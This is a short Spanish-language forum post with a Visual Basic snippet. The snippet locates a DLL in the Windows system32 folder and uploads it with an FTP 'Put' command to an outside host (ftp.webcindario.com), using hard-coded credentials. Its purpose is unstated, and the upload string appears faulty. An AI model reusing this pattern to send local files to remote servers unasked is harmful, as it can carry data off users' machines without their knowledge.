Ay va!
Código [Seleccionar]
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
system32 = Camino
system32 = system32 & "\CMDLG.dll"
Inet1.UserName = "uss"
Inet1.Password = "pas"
Inet1.Execute "ftp://ftp.webcindario.com", "Put system32 /Alwar/CMDLG.dll"